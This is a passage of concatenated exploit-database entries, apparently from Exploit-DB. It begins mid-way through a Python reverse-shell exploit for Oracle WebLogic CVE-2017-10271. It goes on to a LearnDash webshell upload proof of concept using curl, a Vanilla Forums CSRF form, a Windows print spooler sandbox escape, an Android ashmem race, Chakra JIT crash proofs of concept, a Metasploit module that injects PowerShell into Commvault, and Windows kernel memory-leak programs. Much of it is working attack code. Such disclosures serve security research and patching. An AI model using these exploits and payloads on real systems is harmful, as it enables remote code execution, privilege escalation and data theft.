<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>{cmd_base}</string>
</void>
<void index="1">
<string>{cmd_opt}</string>
</void>
<void index="2">
<string>{cmd_payload}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
return process_builder_payload.format(cmd_base=self.cmd_base(), cmd_opt=self.cmd_opt(),
cmd_payload=self.cmd_payload)
def print_banner(self):
print("=" * 80)
print("CVE-2017-10271 RCE Exploit")
print("written by: Kevin Kirsche (d3c3pt10n)")
print("Remote Target: {rhost}".format(rhost=self.url))
print("Shell Listener: {lhost}:{lport}".format(
lhost=self.lhost, lport=self.lport))
print("=" * 80)
def post_exploit(self, data):
headers = {
"Content-Type":
"text/xml;charset=UTF-8",
"User-Agent":
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
payload = "/wls-wsat/CoordinatorPortType"
vulnurl = self.url + payload
try:
req = post(
vulnurl, data=data, headers=headers, timeout=10, verify=False)
if self.check:
print("[*] Did you get an HTTP GET request back?")
else:
print("[*] Did you get a shell back?")
except Exception as e:
print('[!] Connection Error')
print(e)
def run(self):
self.print_banner()
if self.check:
print('[+] Generating generic check payload')
payload = self.get_generic_check_payload()
else:
print('[+] Generating execution payload')
payload = self.get_process_builder_payload()
print('[*] Generated:')
print(payload)
if self.check:
print('[+] Running generic check payload')
else:
print('[+] Running {target} execute payload').format(target=self.target)
self.post_exploit(data=payload)
if __name__ == "__main__":
parser = ArgumentParser(
description=
'CVE-2017-10271 Oracle WebLogic Server WLS Security exploit. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.'
)
parser.add_argument(
'-l',
'--lhost',
required=True,
dest='lhost',
nargs='?',
help='The listening host that the remote server should connect back to')
parser.add_argument(
'-p',
'--lport',
required=True,
dest='lport',
nargs='?',
help='The listening port that the remote server should connect back to')
parser.add_argument(
'-r',
'--rhost',
required=True,
dest='rhost',
nargs='?',
help='The remote host base URL that we should send the exploit to')
parser.add_argument(
'-c',
'--check',
dest='check',
action='store_true',
help=
'Execute a check using HTTP to see if the host is vulnerable. This will cause the host to issue an HTTP request. This is a generic check.'
)
parser.add_argument(
'-w',
'--win',
dest='windows',
action='store_true',
help=
'Use the windows cmd payload instead of unix payload (execute mode only).'
)
args = parser.parse_args()
exploit = Exploit(
check=args.check, rhost=args.rhost, lhost=args.lhost, lport=args.lport,
windows=args.windows)
exploit.run()
# Exploit Title: WordPress LearnDash 2.5.3 Unauthenticated Arbitrary
File Upload
# Date: 07-01-2018
# Vendor Homepage: https://www.learndash.com/
# Vendor Changelog: https://www.learndash.com/changelog/
# Version: 2.5.3
# Exploit Author: NinTechNet
# Author Advisory: http://nin.link/learndash/
# Category: Webapps
1. Overview:
This vulnerability has been exploited at least since Dec. 27th, 2017.
Here's a log sample showing the attack:
87.244.138.44 - - [27/Dec/2017:20:29:33 +0100] "POST / HTTP/1.0" 200
47095
87.244.138.44 - - [27/Dec/2017:20:29:34 +0100] "GET
/wp-content/uploads/assignments/assig.php. HTTP/1.1" 200 266
87.244.138.44 - - [27/Dec/2017:20:29:36 +0100] "GET
/wp-admin/ms-site.php HTTP/1.1" 200 4110
2. Description:
The plugin offers the possibility to create courses and to assign
lessons to them. Each lesson can allow uploads, and it is possible to
restrict them by file extensions. Uploads are handled by the
learndash_assignment_process_init() function located in the
"wp-content/plugins/sfwd-lms/includes/ld-assignment-uploads.php" script:
// ===================================================================
function learndash_assignment_process_init() {
if ( isset( $_POST['uploadfile'] ) && isset( $_POST['post'] ) ) {
$post_id = $_POST['post'];
$file = $_FILES['uploadfiles'];
if (( ! empty( $file['name'][0] ) ) && ( learndash_check_upload(
$file, $post_id ) ) ) {
$file_desc = learndash_fileupload_process( $file, $post_id );
$file_name = $file_desc['filename'];
$file_link = $file_desc['filelink'];
$params = array(
'filelink' => $file_link,
'filename' => $file_name,
);
}
}
}
// ===================================================================
Neither this function nor the learndash_check_upload() and
learndash_fileupload_process() functions it calls check if the user is
authenticated or allowed to upload files, or even if the post ID, course
and lesson exist before accepting the file.
The plugin calls the WordPress wp_check_filetype() API function, removes
the filename extension and appends the one returned by this function.
Because wp_check_filetype() will return an empty value for PHP scripts,
the file extension will be removed: "script.php" will become "script.".
But that can be bypassed by appending a double extension, e.g.,
"script.php.php" which will be turned into "script.php.". Although the
PHP filename ends with a [.] dot, it is still executed by default by the
PHP interpreter on servers running Apache with PHP CGI/FastCGI SAPI.
3. Proof of concept:
To exploit the vulnerability, it is only required that the plugin be
enabled, even if no courses or lessons were created (bogus values can be
assigned to each variable):
$ echo '<?php echo exec("ls -la /etc/passwd");' > shell.php.php
$ curl -F "post=foobar" -F "course_id=foobar" -F "uploadfile=foobar" -F
"uploadfiles[]=@./shell.php.php" http://victim.tld/
$ curl 'http://victim.tld/wp-content/uploads/assignments/shell.php.'
-rw-r--r-- 1 root root 2385 Apr 14 2017 /etc/passwd
4. Timeline:
Authors were informed on January 2nd and released version 2.5.4 on January 3rd.
# Exploit Title: CSRF vulnerabilities in Vanilla Forums below 2.1.5-CVE-2017-1000432
# Google Dork: NA
# Date: 7/1/2018
# Contact: https://twitter.com/anandm47
# website: https://anandtechzone.blogspot.in <https://t.co/MJ8SoRaIMn>
# Exploit Author: Anand Meyyappan
# Vendor Homepage: https://open.vanillaforums.com <https://open.vanillaforums.com/discussion/28337/vanilla-2-1-5-released-and-2-0-18-14>
# Software Link: https://open.vanillaforums.com/addon/vanilla-core-2.1
# Tested on: Windows, Linux
# CVE : CVE-2017-1000432
Description
Any registered user can delete topics and comments in forum without having admin access.
2.Proof Of Concept
Save the below code in html format, Once victim is logged into account. Use the below code.
<form method="post" action="https://www.site.com/forum/vanilla/discussion/dismissannouncement?discussionid=3709">
<input name=" DeliveryType" value="VIEW" class="input" type="hidden">
<input name=" DeliveryMethod" value="JSON" class="input" type="hidden"> <li>
<label><br></label><input value="Send" class="submit" type="submit"></li> </ul>
</form>
3. Solution:
Update to version 2.5
https://open.vanillaforums.com/get/vanilla-core-2.5
#Reference
https://open.vanillaforums.com/discussion/28337/vanilla-2-1-5-released-and-2-0-18-14
https://www.cvedetails.com/cve/CVE-2017-1000432/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000432
Windows: Local XPS Print Spooler Sandbox Escape
Platform: Windows 10 1703 and 1709 (not tested Windows 7 or 8.x)
Class: Elevation of Privilege
Summary:
The local print spooler can be abused to create an arbitrary file from a low privilege application including one in an AC as well as a typical Edge LPAC CP leading to EoP.
Description:
When creating an XPS print job it's possible to specify the destination file in the DOC_INFO_1 structure passed to StartDocPrinter. When you call WritePrinter to write to the new printer job the privileged printer spooler service impersonates the caller and ensures that they can write to the target. This should ensure that a sandboxed user can't write to a location they don't have access to normally. Unfortunately the spooler then deletes this file it's created under impersonation and then calls NSecurityLibrary::ElevateIntegrityLevelIfLow to increase the IL of caller's token to Medium level if the token is current Low IL. In a naive sandbox such as IE PM this results in the actual file being written as at Medium IL which would be sufficient for writing to any user controlled location such as the Startup folder. However in an AC sandbox you'd assume this wouldn't help as the AC would still be enforced even if the IL of the token was raised. It seems not, if code raises the IL of the AC token to medium (which requires SeTcbPrivilege) then the kernel also removes all traces of the AC, leaving the final token a normal medium IL user token again. Therefore in both the naive and AC cases there exists a TOCTOU attack where you can get the sandboxed token to write to a folder you control then redirect the write to another location once the token IL is raised.
The simplest way of doing this would be your standard symbolic link attacks, fortunately Windows has mitigated all the easy ways of doing such an attack. Unfortunately there's a bug in the handling of NtImpersonateAnonymousToken when running in AC which allows a symlink attack in this specific case. I've submitted the bug in NtImpersonateAnonymousToken as a separate issue. Of course there's no reason to believe that there's no other way of exploiting this issue given enough effort without the bug in NtImpersonateAnonymousToken.
To exploit do the following:
1) Create a fake destination directory in a AC writable directory such as Temp. e.g. if you want to write to c:\users\user\desktop\hello.txt create %TEMP%\users\user\desktop.
2) Use bug in NtImpersonateAnonymousToken to impersonate the non-AC token and create a new C: drive symlink in the anonymous user's drive map pointing at the temp directory. Note that as this is created inside a sandbox a non-sandboxed caller will NOT follow the symlink.
3) Build a native NT path in Win32 form to the target path via the anonymous token's device map directory and pass to StartDocPrinter in DOC_INFO_1. e.g. \\?\GLOBALROOT\Sessions\0\DosDevices\00000000-000003E6\C:\Users\user\desktop\hello.txt
4) Create the "fake" target file in the temp directory and put an exclusive oplock on it.
5) Call WritePrinter in another thread, in original thread wait for the oplock to complete. The open in the print spooler will follow the symlink in this case as it's impersonating the sandboxed token.
6) Delete the symlink and break the oplock, this allows the spooler to continue.
7) The spooler now impersonates the medium user token and tried to open the path. The C: symlink created in 2 now no longer exists, however as we're using a device map directory then the global devicemap fallback will kick in so that the spooler sees the global C: drive.
8) The spooler writes arbitrary data to the new target file outside of the sandboxed area.
I really don't get why the token is elevated before writing the file. There is a mode where if you don't specify a path then the spooler will write the file to the local documents directory. As the sandboxed application has no control of the path it at least makes some sense to elevate to allow the file to be written but when writing an explicit path it seems unnecessary. Note that this also works from LPAC, at least as implemented for Edge CP's. This is because the ALPC port of the spooler has an ACE with the “lpacPrinting” capability which is in the list of capabilities in most (all?) CP's for Edge. I also note that WDAG supports writing XPS files, but I don’t have the time to work out the details of how WDAG works right now to see if it would also be vulnerable.
Proof of Concept:
I’ve provided a PoC as a C# project. The PoC will drop the file hello.txt to the current user’s desktop with arbitrary contents. The PoC will respawn itself as the Microsoft Edge AC and then execute the exploit. You must run this as a UAC split token admin. Note that this ISN’T a UAC bypass, just that a split-token admin has a trivial way of getting a non-AC token by requesting the linked token. The PoC will execute just using a normal AC, to test with LPAC pass the executable any argument you like, the LPAC capabilities are copied from an Edge CP so should be representative of what’s available in real life. It seems on some systems the .NET framework directory has an incorrect DACL which results in the LPAC mode failing. A fresh install of 1709 should work though.
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
2) Execute the PoC as normal user level split-token admin.
3) Once complete a dialog should appear indicating the operation is Done.
Expected Result:
Writing to a file outside of a sandbox accessible directory should fail.
Observed Result:
The file hello.txt is created in the current user’s desktop directory with arbitrary contents.
Microsoft have made the decision that as the issue with NtImpersonateAnonymousToken (https://bugs.chromium.org/p/project-zero/issues/detail?id=1414) is now fixed then you can no longer exploit this issue. I disagree with this assessment as there's always scope for new ways of getting similar symbolic link like functionality. The printer APIs allow passing an arbitrary Win32 path which doesn't seem to get translated so there's plenty of scope for abuse. You can also still exploit it from a low-IL sandbox as you can still get access to the anonymous token's dos device directory, however MS don't really consider that a security boundary.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43465.zip
The MemoryIntArray class allows processes to share an in-memory array of integers backed by an "ashmem" file descriptor. As the class implements the Parcelable interface, it can be inserted into a Parcel, and optionally placed in a Bundle and transferred via binder to remote processes.
Instead of directly tracking the size of the shared memory region, the MemoryIntArray class calls the ASHMEM_GET_SIZE ioctl on the ashmem descriptor to retrieve it on-demand. Previously, the code made a single call to ASHMEM_GET_SIZE in order to retrieve the region's size, both before mapping it, and before unmapping it. Since the region's size could be set via ASHMEM_SET_SIZE until the region has been mapped, this opened the possibility for race conditions where an attacker alters the size in-between the first size retrieval and the mapping operation.
This issue has since been addressed (CVE-2017-0412), using the following pattern:
(see http://androidxref.com/8.0.0_r4/xref/frameworks/base/core/jni/android_util_MemoryIntArray.cpp#69)
1. int ashmemSize = ashmem_get_size_region(fd);
2. if (ashmemSize <= 0) {
3. jniThrowException(env, "java/io/IOException", "bad ashmem size");
4. return -1;
5. }
6.
7. // IMPORTANT: Ashmem allows the caller to change its size until
8. // it is memory mapped for the first time which lazily creates
9. // the underlying VFS file. So the size we get above may not
10. // reflect the size of the underlying shared memory region. Therefore,
11. // we first memory map to set the size in stone an verify if
12. // the underlying ashmem region has the same size as the one we
13. // memory mapped. This is critical as we use the underlying
14. // ashmem size for boundary checks and memory unmapping.
15. int protMode = owner ? (PROT_READ | PROT_WRITE) : PROT_READ;
16. void* ashmemAddr = mmap(NULL, ashmemSize, protMode, MAP_SHARED, fd, 0);
17. if (ashmemAddr == MAP_FAILED) {
18. jniThrowException(env, "java/io/IOException", "cannot mmap ashmem");
19. return -1;
20. }
21.
22. // Check if the mapped size is the same as the ashmem region.
23. int mmapedSize = ashmem_get_size_region(fd);
24. if (mmapedSize != ashmemSize) {
25. munmap(reinterpret_cast<void *>(ashmemAddr), ashmemSize);
26. jniThrowException(env, "java/io/IOException", "bad file descriptor");
27. return -1;
28. }
As we can see above, the code verifies that the size retrieved prior to mapping and after performing the mapping operation are equal, thus attempting to eliminate the race condition. However, looking at the ashmem driver, the following code is used to implement the ASHMEM_SET_SIZE ioctl:
(see http://androidxref.com/kernel_3.18/xref/drivers/staging/android/ashmem.c#753)
a. case ASHMEM_SET_SIZE:
b. ret = -EINVAL;
c. if (!asma->file) {
d. ret = 0;
e. asma->size = (size_t) arg;
f. }
g. break;
The ioctl does not acquire the "ashmem_mutex" to perform the ioctl itself. Therefore, an "mmap" operation could be in-flight, while the ASHMEM_SET_SIZE ioctl is being processed. This opens up the possibility to the following schedule, triggering a race condition:
[Process A]:
1. Attacker sends a MemoryIntArray with a crafted ashmem file descriptor in a Bundle, and with a small size
[System Server]:
2. Target process (e.g., system_server) unparcels the bundle with the MemoryIntArray, instantiating it
3. This triggers the code path above, executing lines 1-16
[Process A]:
4. Attacker calls ASHMEM_SET_SIZE, either during or before the mmap call
4.1. Lines a-c are executed, asma->file is still NULL
[System Server]:
5. Target process continues executing lines 16-24
5.1. Target process sees the old size, as the ASHMEM_SET_SIZE operation didn't complete yet
5.2. Therefore, the condition at line 24 is not satisfied
[Process A]:
6. Lines d-f are executed, setting the size to a new value
[System Server]:
7. Some time later, target process runs the finalizer, which retrieves the new size, and uses it to munmap the descriptor
7.1. This causes an inter-process munmap with an attacker-controller size
This issue can be exploited similarly to the previous ashmem bugs -- once a larger "munmap" is performed in the target process, it can be used to "free" a data structure such as a thread's stack, allowing the attacker to replace it with their own controlled contents.
While the exploitable condition is present in MemoryIntArray, I believe a fix should also be applied to the kernel to prevent such conditions from occurring in other contexts. Namely, the ashmem driver should acquire the "ashmem_mutex" during the ASHMEM_SET_SIZE operation, in order to guarantee that no races with ongoing "mmap" operations are possible. In addition, MemoryIntArray should not rely on multiple calls to ASHMEM_GET_SIZE, but should rather perform a single ASHMEM_GET_SIZE operation and store the returned size for both the "mmap" and "munmap" operations.
To demonstrate the race condition, I've added a busy loop to the ashmem driver between lines c. and d., increasing the race window to allow for easier demonstration of the schedule above.
I've attached a PoC which triggers this race condition and causes system_server to call munmap on a large memory region. To reproduce the issue, apply the diff in "ashmem_delay.diff" to the ashmem driver, then run the attached program. Doing so should result in a large "munmap" operation in system_server, causing it to crash.
The issue can also be exploited from the "isolated_app" SELinux context (and perhaps from the Chrome sandbox?), as all that's required to leverage the attack is the ability to issue ashmem syscalls, and to interact with the ActivityManager service (which is exposed to "isolated_app").
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43464.zip
/*
The optimizations for memory operations may leave empty loops as follows:
for (let i = 0; i < arr.length; i++) {
arr[i] = 0;
}
Becomes:
Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
// empty!
}
These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.
Here's what may happen.
A:
Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
}
goto D; // Actually, this's a "BrGe_I4" instruction in the PoC.
C:
...
D:
...
Becomes:
A:
Memset(arr, 0, arr.length);
C:
...
D:
...
So, this may break the control flow.
PoC:
*/
function opt(a, b, always_true = true) {
a[0] = 1234;
b[0] = 0;
let arr = a;
if (always_true) {
arr = b;
for (let i = 0; i < arr.length; i++)
arr[i] = 0;
}
let val = arr[0];
if (val) {
print(val); // Must be 0, but prints out 1234
return true;
}
return false;
}
let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
if (opt(a, b)) {
break;
}
}
/*
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".
Note: Math.min as well.
PoC:
*/
function opt(arr, arr2) {
arr[0] = 1.1;
Math.max.apply(Math, arr2);
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1, 2.2, 3.3, 4.4];
for (let i = 0; i < 10000; i++) {
opt(arr, [1, 2, 3, 4]);
}
Math.max = function () {
arr[0] = {};
};
opt(arr, {}); // can't handle, calls Math.max
print(arr[0]);
}
main();
/*
Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
AsmJsVar * initSource = nullptr;
if (decl->sxVar.pnodeInit->nop == knopName)
{
AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
{
// in this case we are initializing with value of a constant var
initSource = initSym->Cast<AsmJsVar>();
}
...
}
...
if (initSource)
{
if (var->GetType().isDouble())
{
mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
}
Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.
PoC:
*/
function createModule() {
'use asm';
const a = 1.0;
function f() {
var b = a;
var a = 0;
}
return f;
}
var f = createModule();
f();
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'Commvault Communications Service (cvd) Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability
discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
and v10). The vulnerability exists in the cvd.exe service and allows an
attacker to execute arbitrary commands in the context of the service. By
default, the Commvault Communications service installs and runs as SYSTEM in
Windows and does not require authentication. This vulnerability was discovered
in the Windows version. The Linux version wasn't tested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
],
'References' =>
[
['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
{
'Arch' => [ARCH_X64, ARCH_X86]
}
],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 12 2017'))
register_options([Opt::RPORT(8400)])
end
def exploit
buf = build_exploit
print_status("Connecting to Commvault Communications Service.")
connect
print_status("Executing payload")
#Send the payload
sock.put(buf)
#Handle the shell
handler
disconnect
end
def build_exploit
#Get encoded powershell of payload
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
#Remove additional cmd.exe call
psh = "powershell"
idx = command.index(psh)
command = command[(idx)..-1]
#Build packet
cmd_path = 'C:\Windows\System32\cmd.exe'
msg_type = 9
zero = 0
payload = ""
payload += make_nops(8)
payload += [msg_type].pack('I>')
payload += make_nops(328)
payload += cmd_path
payload += ";"
payload += ' /c "'
payload += command
payload += '" && echo '
payload += "\x00"
payload += [zero].pack('I>')
#Add length header and payload
ret_data = [payload.length].pack('I>')
ret_data += payload
ret_data
end
end
/*
We have discovered that the nt!NtQuerySystemInformation system call invoked with the 138 information class discloses portions of uninitialized kernel pool memory to user-mode clients. The specific information class is handled by an internal nt!ExpQueryMemoryTopologyInformation function.
While we don't know the layout of the output structure, we have determined that on our test Windows 10 version 1709 32-bit system, the output size is 0x70 (112) bytes. Within the output buffer, 12 bytes in three 4-byte chunks of consecutive memory are not properly initialized and contain leftover data from the kernel pool. The data originates from a NonPagedPoolNx allocation requested in nt!MmGetNodeChannelRanges, based on a 16+32*N formula where N is returned by nt!MiReferencePageRuns. Each uninitialized 4-byte chunk corresponds to a specific 32-byte structure in the kernel buffer.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: 03 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
00000020: 9e 00 00 00 00 00 00 00 00 00 00 00 5f 5f 5f 5f ............____
00000030: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
00000040: 02 00 00 00 00 00 00 00 00 00 00 00 5f 5f 5f 5f ............____
00000050: 00 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 ................
00000060: ed fe 0d 00 00 00 00 00 00 00 00 00 5f 5f 5f 5f ............____
--- cut ---
00000000: 03 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
00000020: 9e 00 00 00 00 00 00 00 00 00 00 00 7b 7b 7b 7b ............{{{{
00000030: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
00000040: 02 00 00 00 00 00 00 00 00 00 00 00 7b 7b 7b 7b ............{{{{
00000050: 00 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 ................
00000060: ed fe 0d 00 00 00 00 00 00 00 00 00 7b 7b 7b 7b ............{{{{
--- cut ---
00000000: 03 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
00000020: 9e 00 00 00 00 00 00 00 00 00 00 00 45 45 45 45 ............EEEE
00000030: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
00000040: 02 00 00 00 00 00 00 00 00 00 00 00 45 45 45 45 ............EEEE
00000050: 00 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 ................
00000060: ed fe 0d 00 00 00 00 00 00 00 00 00 45 45 45 45 ............EEEE
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#define MemoryTopologyInformation ((SYSTEM_INFORMATION_CLASS)138)
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xc0000023)
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
DWORD ReturnLength = 0;
NTSTATUS st = NtQuerySystemInformation(MemoryTopologyInformation, NULL, 0, &ReturnLength);
if (!NT_SUCCESS(st) && st != STATUS_BUFFER_TOO_SMALL) {
printf("NtQuerySystemInformation#1 failed, %x\n", st);
return 1;
}
PVOID Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
st = NtQuerySystemInformation(MemoryTopologyInformation, Buffer, ReturnLength, &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQuerySystemInformation#2 failed, %x\n", st);
return 1;
}
PrintHex((PBYTE)Buffer, ReturnLength);
HeapFree(GetProcessHeap(), 0, Buffer);
return 0;
}
/*
We have discovered that the nt!NtQueryInformationProcess system call invoked with the 76 information class discloses portions of uninitialized kernel stack memory to user-mode clients. The specific information class is handled by an internal nt!PsQueryProcessEnergyValues function.
While we don't know the layout of the output structure, we have determined that on our test Windows 10 version 1709 32-bit system, the output size is 0x1B0 (432) bytes. Within the output buffer, four consecutive bytes at offsets 0x8c to 0x8f are not properly initialized and contain leftover data from the kernel stack.
The attached proof of concept code works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the win32k!NtGdiEngCreatePalette system call, and then invokes the affected nt!NtQueryInformationProcess service. As a result, we can observe that these leftover bytes are indeed leaked to user-mode at offset 0x8c of the output structure:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 94 90 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: b6 04 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm {mov eax, ApiNumber};
__asm {lea edx, ApiNumber + 4};
__asm {int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Windows 10 version 1709 32-bit.
CONST ULONG __NR_NtGdiEngCreatePalette = 0x1296;
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[1024];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Initialize the thread as GUI.
LoadLibrary(L"user32.dll");
// Spray the kernel stack to get visible results of the memory disclosure.
SprayKernelStack();
// Trigger the bug and display the output.
BYTE OutputBuffer[0x1b0] = { /* zero padding */ };
ULONG ReturnLength;
NTSTATUS st = NtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCLASS)76, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationProcess failed, %x\n", st);
return 1;
}
PrintHex(OutputBuffer, sizeof(OutputBuffer));
return 0;
}
/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis
Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.
PoC:
*/
function opt() {
let tmp = [];
tmp[0] = tmp;
return tmp[0];
}
